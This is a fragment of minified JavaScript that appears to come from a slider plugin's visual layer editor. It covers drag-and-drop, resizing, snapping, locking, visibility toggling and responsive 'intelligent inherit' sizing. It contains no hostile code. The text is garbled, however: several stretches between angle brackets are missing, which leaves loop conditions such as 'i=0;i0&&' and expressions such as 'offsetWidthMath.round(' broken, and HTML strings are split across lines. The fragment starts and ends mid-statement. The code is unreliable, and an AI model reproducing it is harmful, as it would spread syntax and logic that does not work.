    "})});else{for(var a in RVS.S.DaD.sameLevelNotColumn=-1===RVS.S.DaD.toContainerID&&"root"===RVS.S.DaD.fromContainerType,void 0!==RVS.S.updateEsyInputsTimer&&(clearTimeout(RVS.S.updateEsyInputsTimer),RVS.S.updateEsyInputsTimerMemory=!0,delete RVS.S.updateEsyInputsTimer),"column"!==RVS.S.DaD.fromContainerType||RVS.S.DaD.showInMini||"absolute"===RVS.S.DaD.draggedPosType||(RVS.S.DaD.dragdelta.x=RVS.S.DaD.dragdelta.x+RVS.S.DaD.touchPosition.x-RVS.S.layer_grid_offset.left,RVS.S.DaD.dragdelta.y=RVS.S.DaD.dragdelta.y+RVS.S.DaD.touchPosition.y-RVS.S.layer_grid_offset.top),i.position={},RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a];RVS.F.updateHTMLLayerPosition({uid:r,o:RVS.S.DaD.dragdelta,updateDistanceLines:e.uid,lhCwidth:RVS.H[r].c_width,lhCheight:RVS.H[r].c_height,updateFields:r==e.uid,mouseInfo:r==RVS.S.DaD.currentLayerId,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}var s={left:(t.clientX-RVS.S.layer_grid_offset.left)/RVS.zoom,top:(t.clientY-RVS.S.layer_grid_offset.top)/RVS.zoom,transformOrigin:"0 0",opacity:.75,scale:.6,width:RVS.S.DaD.originalWidth,display:RVS.L[RVS.S.DaD.currentLayerId].idle.display,x:0+RVS.S.DaD.scrolldiff.x,y:0+RVS.S.DaD.scrolldiff.y};RVS.S.DaD.showInMini||("column"===RVS.S.DaD.fromContainerType&&"absolute"!==RVS.S.DaD.draggedPosType||(s.left=(t.clientX-RVS.S.DaD.touchPosition.x)/RVS.zoom,s.top=(t.clientY-RVS.S.DaD.touchPosition.y)/RVS.zoom),s.width=RVS.F.updateDraggedWidth(),s.height="auto"==RVS.L[RVS.S.DaD.currentLayerId].size.height[RVS.screen].v?RVS.S.DaD.originalHeight:RVS.L[RVS.S.DaD.currentLayerId].size.height[RVS.screen].v,s.display="block",s.scale=1),RVS.S.DaD.snapToGrid&&RVS.S.DaD.sameLevelNotColumn?(s.left=s.left-RVS.S.updatePosToXDif,s.top=s.top-RVS.S.updatePosToYDif):RVS.S.DaD.snapToLayers&&RVS.F.closeToOtherLayers(RVS.S.DaD.currentLayerId,{x:s.left,y:s.top,w:RVS.H[RVS.S.DaD.currentLayerId].c_width,h:RVS.H[RVS.S.DaD.currentLayerId].c_height}),tpGS.gsap.set(i.helper,s),RVS.S.DaD.startPos={x:s.left,y:s.top},RVS.C.layer_pos_x.value=RVS.S.updatePosToX,RVS.C.layer_pos_y.value=RVS.S.updatePosToY,requestAnimationFrame(function(){void 0===RVS.S.updatePosToX||void 0===RVS.S.updatePosToY||0==RVS.S.updatePosToX&&0==RVS.S.updatePosToY?RVS.F.hideMouseInfo():RVS.F.showMouseInfo({html:"
    X"+RVS.S.updatePosToX+"
    Y"+RVS.S.updatePosToY+"
    "}),"none"!==RVS.SLIDER.settings.snap.adjust&&(RVS.S.DaD.sameLevelNotColumn?RVS.F.snapVisual({av:RVS.S.lpv,ah:RVS.S.lph,sp:"grid"===RVS.SLIDER.settings.snap.adjust?RVS.F.getSnapPoint(RVS.S.updatePosToX,RVS.S.updatePosToY):void 0}):RVS.F.clearSnapVisual())})}},stop:function(i,a){if("fullinset"!=RVS.L[e.uid].size.covermode){if(RVS.S.dragging=!1,"none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),RVS.C.slide[0].classList.remove("rel_layer_in_drag"),RVS.C.slide[0].classList.remove("abs_layer_in_drag"),tpGS.gsap.set(a.helper,{scale:1}),RVS.S.ulInner[0].classList.remove("dropSensorActive"),RVS.S.DaD.dropSensor=!1,c(),requestAnimationFrame(function(){RVS.F.hideMouseInfo()}),RVS.S.realDragHappen){var r=!0===RVS.animationMode?"frame":-1==RVS.S.DaD.fromContainerID&&void 0!==RVS.S.DaD.target&&"free"==RVS.S.DaD.target.into?"layermovement":"layersorting_layermovement";if(RVS.F.openBackupGroup({id:r,txt:!0!==RVS.animationMode?"Layer Position":"Frame Position",icon:"open_with"}),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,!0!==RVS.animationMode){if("group"===RVS.S.DaD.toContainerType&&RVS.S.DaD.toContainerID+""!=RVS.S.DaD.fromContainerID+""&&void 0!==RVS.L[RVS.S.DaD.parentID]){var s=!1;for(var o in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(o)&&RVS.screen!=RVS.V.sizes[o]&&!0===RVS.SLIDER.settings.size.custom[RVS.V.sizes[o]]&&RVS.L[RVS.S.DaD.currentLayerId].position.x[RVS.V.sizes[o]].e&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.x."+RVS.V.sizes[o]+".v",val:"0px",uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.y."+RVS.V.sizes[o]+".v",val:"0px",uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.x."+RVS.V.sizes[o]+".e",val:!1,uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.y."+RVS.V.sizes[o]+".e",val:!1,uid:RVS.S.DaD.currentLayerId}),s=!0);s&&RVS.F.showInfo({content:RVS_LANG.noticepositionreseted,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})}for(var n in RVS.F.updateHTMLLayerPosition({uid:RVS.S.DaD.currentLayerId,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[RVS.S.DaD.currentLayerId].c_width,lhCheight:RVS.H[RVS.S.DaD.currentLayerId].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers}),RVS.selLayers){if(RVS.selLayers.hasOwnProperty(n))(o=RVS.selLayers[n])!=RVS.S.DaD.currentLayerId&&RVS.F.updateHTMLLayerPosition({uid:o,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[o].c_width,lhCheight:RVS.H[o].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}}else RVS.S.DaD.frameOX_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.x.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,old:RVS.S.DaD.frameOX}),RVS.S.DaD.frameOY_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.y.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,old:RVS.S.DaD.frameOY});RVS.S.DaD.snapToGrid=!1,RVS.S.DaD.snapToLayers=!1,RVS.C.layergrid[0].classList.remove("layersInDragorResize"),!0!==RVS.animationMode&&function(){clearTimeout(RVS.S.DaD.timer);var e=void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free";if("column"===e||"group"===e){if(void 0!==RVS.S.DaD.target)if(void 0!==RVS.S.DaD.target.columnID&&("group"===RVS.S.DaD.target.columnType||void 0===RVS.S.DaD.target.elementID||"column"==RVS.S.DaD.target.columnType&&"absolute"==RVS.S.DaD.draggedPosType))if(RVS.S.DaD.target.columnTop||"absolute"==RVS.S.DaD.draggedPosType)if("group"!==RVS.S.DaD.target.columnType||RVS.S.DaD.fromContainerID!=RVS.S.DaD.target.columnID){var t={x:Math.round((RVS.S.DaD.clone.offset().left-RVS.S.DaD.dropParentPos.x)/RVS.zoom+RVS.S.DaD.scrolldiff.x),y:Math.round((RVS.S.DaD.clone.offset().top-RVS.S.DaD.dropParentPos.y)/RVS.zoom+RVS.S.DaD.scrolldiff.y)};if("column"===RVS.S.DaD.target.columnType)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)&&("absolute"==RVS.S.DaD.draggedPosType&&"column"!==RVS.S.DaD.fromContainerType&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[i]+".position.position",val:"relative",uid:RVS.selLayers[i]}),"text"===RVS.L[RVS.selLayers[i]].type))for(var a in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[i]+".idle.whiteSpace."+RVS.V.sizes[a]+".v",val:"full",uid:RVS.selLayers[i]}),-1==RVS.L[RVS.selLayers[i]].size.width[RVS.V.sizes[a]].v.indexOf("%")&&"auto"!==RVS.L[RVS.selLayers[i]].size.width[RVS.V.sizes[a]].v&&(null==RVS.S.DaD.target||RVS.S.DaD.fromContainerID!==RVS.S.DaD.target.columnID)&&RVS.H[RVS.S.DaD.target.columnID].w[0].offsetWidthMath.round(i.size.height))&&(window.layernewh=i.size.height="horizontal"===a?window.layercloneinside.outerHeight():Math.max(parseInt(i.size.height,0)||0,parseInt(window.layercloneinside.outerHeight(),0)||0))}if("none"!==RVS.S.WWL.size.minWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.max(window.layerneww,parseInt(RVS.S.WWL.size.minWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.min(window.layerneww,parseInt(RVS.S.WWL.size.maxWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.minHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.max(window.layernewh,parseInt(RVS.S.WWL.size.minHeight[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.min(window.layernewh,parseInt(RVS.S.WWL.size.maxHeight[RVS.screen].v,0)||0)),requestAnimationFrame(function(){RVS.F.showMouseInfo({html:"
    W"+window.layerneww+"
    H"+window.layernewh+"
    "})}),window.layertemp_width!=window.layerneww&&("none"===window.resizeDirection&&(window.resizeDirection="horizontal"),RVS.C.layer_width[0].value=window.layerneww+"px","fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_width").removeClass("disablecontainer"))),window.layertemp_height!=window.layernewh&&("none"===window.resizeDirection&&(window.resizeDirection="vertical"),RVS.C.layer_height[0].value="video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":window.layernewh+"px","fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_height").removeClass("disablecontainer"))),RVS.S.WWL.size.scaleProportional&&"auto"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&"none"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&("horizontal"===window.resizeDirection?window.layernewh=i.size.height=Math.round(window.layerneww/RVS.S.WWL.size.aspectRatio[RVS.screen].v):window.layerneww=i.size.width=Math.round(window.layernewh*RVS.S.WWL.size.aspectRatio[RVS.screen].v)),"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v){var r=RVS.S.WWL.media.ratio.split(":");r=r[1]/r[0],i.size.height=window.layerneww*r}tpGS.gsap.set(RVS.H[e.uid].c,{width:window.layerneww,height:window.layernewh}),RVS.F.updateHTMLLayerPosition({uid:e.uid}),requestAnimationFrame(function(){var t=RVS.F.getLayerChildren({layerid:e.uid});for(var i in t)t.hasOwnProperty(i)&&RVS.F.updateHTMLLayerPosition({uid:i});RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1893"),RVS.F.updateSharpCorners({uid:e.uid,resize:!0})})},stop:function(t,i){RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.F.hideMouseInfo(),RVS.S.justresized=!0,RVS.F.openBackupGroup({id:"layerresize",txt:"Resize Layer",icon:"photo_size_select_large"}),"text"!==RVS.S.WWL.type&&"button"!==RVS.S.WWL.type||(window.layernewh=window.layercloneinside.height()===window.layernewh&&"text"==RVS.L[e.uid].type?"auto":window.layernewh,window.layerclone.remove()),window.layertemp_width!=window.layerneww&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.width.#size#.v",val:window.layerneww+"px",uid:e.uid}),"fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),window.layertemp_height!=window.layernewh&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.height.#size#.v",val:"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":isNaN(window.layernewh)?window.layernewh:window.layernewh+"px",uid:e.uid}),"fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1056"),setTimeout(function(){RVS.S.justresized=!1},100)}})},RVS.F.isParent=function(e,t,i){return void 0!==i?i:t==e||void 0!==RVS.L[t]&&void 0!==RVS.L[t].group&&-1!=RVS.L[t].group.puid&&(RVS.L[t].group.puid==e||RVS.F.isParent(e,RVS.L[t].group.puid,i))},RVS.F.figureColumnSizes=function(e){if(void 0!==e.plain&&(e.plain=RVS.F.sanitize_columns(e.plain),e.plain=0===e.plain.length||void 0===e.plain||""===e.plain?"1/2+1/2":e.plain,e.cols=e.temp=e.plain.split("+")),e.summ=0,-1===e.plain.indexOf("/"))if(e.cols=[],e.plain="",1==e.temp.length){var t=parseInt(e.temp[0],0);t=t>9?"9":t;for(var i=0;i0&&(e.plain+="+"),e.plain+="1/"+t,e.cols.push("1/"+t)}else{var a=0;e.plain="";for(i=0;i0&&(a+=parseInt(e.temp[i],0));for(i=0;i0&&(e.plain.length>0&&(e.plain+="+"),e.plain+=e.temp[i]+"/"+a,e.cols.push(e.temp[i]+"/"+a))}var r;for(var s in e.cols)e.cols.hasOwnProperty(s)&&(r=RVS.F.convertFraction(e.cols[s]),e.summ+=100*r);return 100!==Math.round(e.summ)?jQuery("#row_column_structure").addClass("badvalue"):jQuery("#row_column_structure").removeClass("badvalue"),e},RVS.F.fixColumnsInRows=function(e){if(void 0!==RVS.L[e.layerid]&&"row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow(e),i=0,a=[];for(var r in t)t.hasOwnProperty(r)&&(i=i+=100*RVS.F.convertFraction(RVS.L[t[r]].group.columnSize),a.push(RVS.L[t[r]].group.columnSize.split("/")));var s=t.length;if((i=99.99999999999999===i?100:i)<100){var o=100-i,n=t[t.length-1],l=RVS.L[n].group.columnSize,d=l.split("/"),S=o/(100*RVS.F.convertFraction(l)/parseInt(d[0],0)),c=parseInt(d[0],0)+parseInt(S,0)+"/"+d[1],p=RVS.S.slideId+".layers."+n+".group.columnSize";1===s?RVS.F.updateSliderObj({path:p,val:"1/1"}):RVS.F.updateSliderObj({path:p,val:c}),RVS.F.drawHTMLLayer({uid:n})}if(i>100){for(var r in t)t.hasOwnProperty(r)&&(a[r][0]=1,a[r][1]=s);for(var r in t)if(t.hasOwnProperty(r)){n=t[r],p=RVS.S.slideId+".layers."+n+".group.columnSize";RVS.F.updateSliderObj({path:p,val:a[r][0]+"/"+a[r][1]}),RVS.F.drawHTMLLayer({uid:n})}}}},RVS.F.checkLockedLayers=function(){for(var t in(e=void 0===e?{wrap:jQuery("#locked_layers_list"),switch:jQuery("#layer_lock_iconswitch")}:e).default=void 0===e.default?e.wrap[0].innerHTML:e.default,e.layers=[],RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].visibility&&RVS.L[t].visibility.locked&&-1===jQuery.inArray(t,e.layers)&&e.layers.push(t);var i="";for(var a in e.layers)if(e.layers.hasOwnProperty(a)){var r=e.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_locked_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_locked_")&&(s.className+=" _locked_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='
    lock_open'+RVS.L[r].alias+"
    "}}i=e.default+i,e.wrap[0].innerHTML=i},RVS.F.lockUnlockLayer=function(e){if(e.val=void 0===e.val?!RVS.L[e.uid].visibility.locked:e.val,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".visibility.locked",val:e.val}),!1===e.val&&RVS.H[e.uid].w[0].className.indexOf("_locked_")>=0){RVS.H[e.uid].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _locked_","")}},RVS.F.lockUnlockLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.locked;RVS.F.lockUnlockLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkLockedLayers()},RVS.F.checkShowHideLayers=function(){for(var e in(t=void 0===t?{wrap:jQuery("#unvisible_layers_list"),switch:jQuery("#layer_visibility_iconswitch")}:t).default=void 0===t.default?t.wrap[0].innerHTML:t.default,t.layers=[],RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible&&-1===jQuery.inArray(e,t.layers)&&t.layers.push(e);var i="";for(var a in t.layers)if(t.layers.hasOwnProperty(a)){var r=t.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_unvisible_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_unvisible_")&&(s.className+=" _unvisible_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='
    visibility'+RVS.L[r].alias+"
    "}}i=t.default+i,t.wrap[0].innerHTML=i},RVS.F.showHideLayer=function(e){if(void 0===e.val&&(e.val=!RVS.L[e.uid].visibility.visible),RVS.F.updateSliderObj({ignoreBackup:e.ignoreBackup,path:RVS.S.slideId+".layers."+e.uid+".visibility.visible",val:e.val}),!0===e.val&&RVS.H[e.uid].w[0].className.indexOf("_unvisible_")>=0){RVS.H[e.uid].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _unvisible_","")}},RVS.F.showHideLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.visible;RVS.F.showHideLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkShowHideLayers()},RVS.F.updateColumnBreaksChildren=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&"column"===RVS.L[e].type&&(RVS.L[e].group.columnbreakat=RVS.L[RVS.L[e].group.puid].group.columnbreakat)},RVS.F.isIntelligentInherited=function(e,t){return void 0!==t?void 0!==RVS.SLIDER[t].layers[e]&&RVS.SLIDER[t].layers[e].behavior.intelligentInherit:void 0!==RVS.L[e]&&RVS.L[e].behavior.intelligentInherit},RVS.F.inntelligentRespAttrExtend=function(e){i.push(e)},RVS.F.setToIntelligentUpdate=function(e){RVS.F.updateScreenShrinks();var t=e?"Reset All values to Intelligent Values":"Enable Intelligent Inherit";for(var a in RVS.F.openBackupGroup({id:"IntelligentInherit",txt:t,icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){for(var r in i)i.hasOwnProperty(r)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[r],index:"v",uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});for(var s=0;s<4;s++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[a]+".behavior.intelligentInherit",val:!0})}RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.DOC.trigger("sliderSizeChanged")},RVS.F.intelligentUpdateValuesOnLayer=function(e){if(RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:e,backup:!1,notEdited:!0,reset:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:e,backup:!1,notEdited:!0,reset:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:e,backup:!1,notEdited:!0,reset:!0})}},RVS.F.updateAllInheritedSize=function(){RVS.S.updatingAllInheritedSizeCounter=void 0===RVS.S.updatingAllInheritedSizeCounter?0:RVS.S.updatingAllInheritedSizeCounter,!0!==RVS.S.updatingAllInheritedSize&&RVS.S.updatingAllInheritedSizeCounter>0&&(RVS.S.updatingAllInheritedSize=!0,requestAnimationFrame(function(){for(var e in RVS.F.updateScreenShrinks(),RVS.L)if(RVS.L.hasOwnProperty(e)&&"zone"!==RVS.L[e].type&&RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.L[e].uid});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.L[e].uid}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.L[e].uid})}RVS.F.drawHTMLLayers(),RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.S.updatingAllInheritedSize=!1})),RVS.S.updatingAllInheritedSizeCounter++},RVS.F.disableIntelligentUpdate=function(){for(var e in RVS.F.openBackupGroup({id:"DIntelligentInherit",txt:"Disable Intelligent Inherit",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[e]+".behavior.intelligentInherit",val:!1});RVS.F.closeBackupGroup({id:"DIntelligentInherit"})},RVS.F.resetLayersDeviceSizesToDesktop=function(){for(var e in RVS.F.openBackupGroup({id:"desktopValueReset",txt:"Reset Values to Dekstop",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0})}for(var r in RVS.F.closeBackupGroup({id:"desktopValueReset"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})},RVS.F.resetIntelligentInherits=function(){RVS.F.setToIntelligentUpdate(!0)},RVS.F.iUHelp=function(e){var t=e.l[RVS.V.sizes[0]].v,i=1;if(null!==t)for(var a=0;a<=3;a++){var r=RVS.F.isNumeric(t)?"":t.indexOf("%")>=0?"%":"px",s="inherit"===t||!RVS.F.isNumeric(t)&&(t.indexOf("{")>=0||t.indexOf("[")>=0||jQuery.inArray(t,["top","left","bottom","right","center","middle"])>=0||"#"==t[0]&&"/"==t[2]&&"#"==t[4]);i=e.iii?RVS.S.shrink[RVS.V.sizes[a]]:i,e.allToOne||(t=e.reset||!e.l[RVS.V.sizes[a]].e?e.shrink?s||"auto"===t||!RVS.F.isNumeric(t)&&t.indexOf("%")>=0?t:parseInt(t,0)*i:t:e.number&&!s&&"auto"!==t?parseInt(e.l[RVS.V.sizes[a]].v,0):e.l[RVS.V.sizes[a]].v);var o=e.allToOne?t:!e.reset&&e.l[RVS.V.sizes[a]].e?e.l[RVS.V.sizes[a]].v:e.number?"auto"===t||s?t:void 0!==e.minValue?Math.max(e.minValue,Math.round(parseInt(t,0))):Math.round(parseInt(t,0)):t;r="auto"!==o&&RVS.F.isNumeric(o)?r:"",e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".v",val:o+r}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".e",val:!1})):(e.l[RVS.V.sizes[a]].v=o+r,e.notEdited&&(e.l[RVS.V.sizes[a]].e=!1)),t=o+r}},RVS.F.intelligentUpdate=function(e){e.calcShrink&&RVS.F.updateScreenShrinks(),RVS.S.respInfoBar.visible&&RVS.F.showFieldResponsiveValues(),e.iii=void 0===e.iii||e.iii;var t=void 0!==e.slide?RVS.SLIDER[e.slide].layers:RVS.L;switch(e.key){case"viewPortArea":e.l=RVS.SLIDER.settings.general.slideshow.viewPortArea,e.minValue=-1500,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"horizontal":case"vertical":case"y":case"x":if(e.l=t[e.uid].position[e.key],e.p=e.uid+".position."+e.key+".","x"===e.key||"y"===e.key)for(var i in e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),t[e.uid].timeline.frames)t[e.uid].timeline.frames.hasOwnProperty(i)&&(e.l=t[e.uid].timeline.frames[i].transform[e.key],e.p=e.uid+".timeline.frames."+i+".transform."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].mask[e.key],e.p=e.uid+".timeline.frames."+i+".mask."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].chars[e.key],e.p=e.uid+".timeline.frames."+i+".chars."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].words[e.key],e.p=e.uid+".timeline.frames."+i+".words."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].lines[e.key],e.p=e.uid+".timeline.frames."+i+".lines."+e.key+".",RVS.F.iUHelp(e));else RVS.F.iUHelp(e);break;case"width":case"height":e.l=t[e.uid].size[e.key],e.p=e.uid+".size."+e.key+".",e.minValue=1,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"blur":case"spread":case"hoffset":case"voffset":e.l=t[e.uid].idle.boxShadow[e.key],e.p=e.uid+".idle.boxShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),"spread"!==e.key&&(e.l=t[e.uid].idle.textShadow[e.key],e.p=e.uid+".idle.textShadow."+e.key+".",e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e));break;case"margin":case"padding":if("v"===e.index)for(e.index=0;e.index<4;e.index++){e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(var a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}else{e.val=t[e.uid].idle[e.key][RVS.V.sizes[0]].v[e.index];for(a=parseInt(e.val,0),r=1,s=0;s<=3;s++)r=e.iii?RVS.S.shrink[RVS.V.sizes[s]]:r,a=e.allToOne?a:e.reset||!t[e.uid].idle[e.key][RVS.V.sizes[s]].e?Math.round(a*r):parseInt(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index],0),e.backup?(RVS.F.updateSliderObj({ignoreResponsiv